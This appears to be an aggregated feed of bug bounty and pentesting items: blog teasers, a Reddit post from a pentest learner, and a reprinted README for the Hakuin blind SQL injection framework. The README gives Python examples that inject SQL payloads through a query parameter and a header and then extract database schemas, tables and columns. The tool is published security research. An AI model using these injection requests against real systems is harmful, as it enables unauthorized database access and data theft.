An Email Authentication Bypass, But Marked as N/A in NASA domain

Thank you for 2K Followers, keep showing love :) Hi, Ajak Amico’s welcome back to another blog. Today I will explain, How I found an Email…Continue reading on Medium »
Read more...

Completed TCM's PEH mid course capstone and Jr. Pentesting learning path completely and still struggling in easy boxes.
https://www.reddit.com/r/Pentesting/comments/1crnuvp/completed_tcms_peh_mid_course_capstone_and_jr/

<!-- SC_OFF -->Invested in TCM and Try Hack Me premium model. Recently completed Jr. Pentester learning path and struggled with the final CTF challenge. Started PEH by TCM simultaneously and reached mid course capstone challenge which contains boxes like Eternal Blue, Academy, Butler etc. But I am struggling hard to complete these on my own and have to look at walkthrough. Is it normal or I am lacking work ethics or it's part of learning, cause it is really frustrating. PLEASE HELP <!-- SC_ON --> submitted by /u/Master-Ad-6677 (https://www.reddit.com/user/Master-Ad-6677)
[link] (https://www.reddit.com/r/Pentesting/comments/1crnuvp/completed_tcms_peh_mid_course_capstone_and_jr/) [comments] (https://www.reddit.com/r/Pentesting/comments/1crnuvp/completed_tcms_peh_mid_course_capstone_and_jr/)

An easy way to find bugs: Enter wrong data

If you’re looking to find something, don’t follow the path that’s already been prepared, try a strange pathContinue reading on Medium »
Read more...

An easy way to find bugs: Enter wrong data
https://systemweakness.com/an-easy-way-to-find-bugs-enter-wrong-data-0765ed4e9afd?source=rss------bug_bounty-5

If you’re looking to find something, don’t follow the path that’s already been prepared, try a strange pathContinue reading on System Weakness » (https://systemweakness.com/an-easy-way-to-find-bugs-enter-wrong-data-0765ed4e9afd?source=rss------bug_bounty-5)

21.3 Lab: SSRF via OpenID dynamic client registration | 2024
https://cyberw1ng.medium.com/21-3-lab-ssrf-via-openid-dynamic-client-registration-2024-c9ffd445e438?source=rss------bug_bounty-5

This lab allows client applications to dynamically register themselves with the OAuth service via a registration endpoint. Some…Continue reading on Medium » (https://cyberw1ng.medium.com/21-3-lab-ssrf-via-openid-dynamic-client-registration-2024-c9ffd445e438?source=rss------bug_bounty-5)

21.3 Lab: SSRF via OpenID dynamic client registration | 2024

This lab allows client applications to dynamically register themselves with the OAuth service via a registration endpoint. Some…Continue reading on Medium »
Read more...

JNDI Injection — The Complete Story
https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1?source=rss------bug_bounty-5

This blog investigates the security implications of JNDI Injection, a vulnerability that arises when malicious actors manipulate JNDI…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1?source=rss------bug_bounty-5)

JNDI Injection — The Complete Story

This blog investigates the security implications of JNDI Injection, a vulnerability that arises when malicious actors manipulate JNDI…Continue reading on InfoSec Write-ups »
Read more...

Broken Access Control (IDOR) & Credential Leak at Legacy API Video Transcode
https://medium.com/@blackarazi/broken-access-control-idor-credential-leak-at-legacy-api-video-transcode-9b5d729fb2d6?source=rss------bug_bounty-5

Hello everyone,Continue reading on Medium » (https://medium.com/@blackarazi/broken-access-control-idor-credential-leak-at-legacy-api-video-transcode-9b5d729fb2d6?source=rss------bug_bounty-5)

Broken Access Control (IDOR) & Credential Leak at Legacy API Video Transcode

Hello everyone,Continue reading on Medium »
Read more...

Hakuin - A Blazing Fast Blind SQL Injection Optimization And Automation Framework
http://www.kitploit.com/2024/05/hakuin-blazing-fast-blind-sql-injection.html

Hakuin is a Blind SQL Injection (https://www.kitploit.com/search/label/Injection) (BSQLI) optimization and automation (https://www.kitploit.com/search/label/Automation) framework (https://www.kitploit.com/search/label/Framework) written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable (https://www.kitploit.com/search/label/Vulnerable) web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more. Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh (https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection), 2023 - Hack in the Box, Phuket (https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/), 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT) (https://wootconference.org/papers/woot23-paper17.pdf), 2023 More information can be found in our paper (https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_WOOT_23.pdf) and slides (https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_HITB_23.pdf).
Installation To install Hakuin, simply run: pip3 install hakuin
Developers should install the package locally and set the -e flag for editable mode: git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .
Examples Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False. Example 1 - Query Parameter Injection with Status-based Inference import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
Example 2 - Header Injection with Content-based Inference class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()
To start extracting data, use the Extractor (https://www.kitploit.com/search/label/Extractor) class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py. Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
...

async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())
Now that eveything is set, you can start extracting DB metadata. Example 1 - Extracting DB Schemas # strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
Example 2 - Extracting Tables tables = await ext.extract_table_names(strategy='model')
Example 3 - Extracting Columns columns = await ext.extract_column_names(table='users', strategy='model')
Example 4 - Extracting Tables and Columns Together metadata = await ext.extract_meta(strategy='model')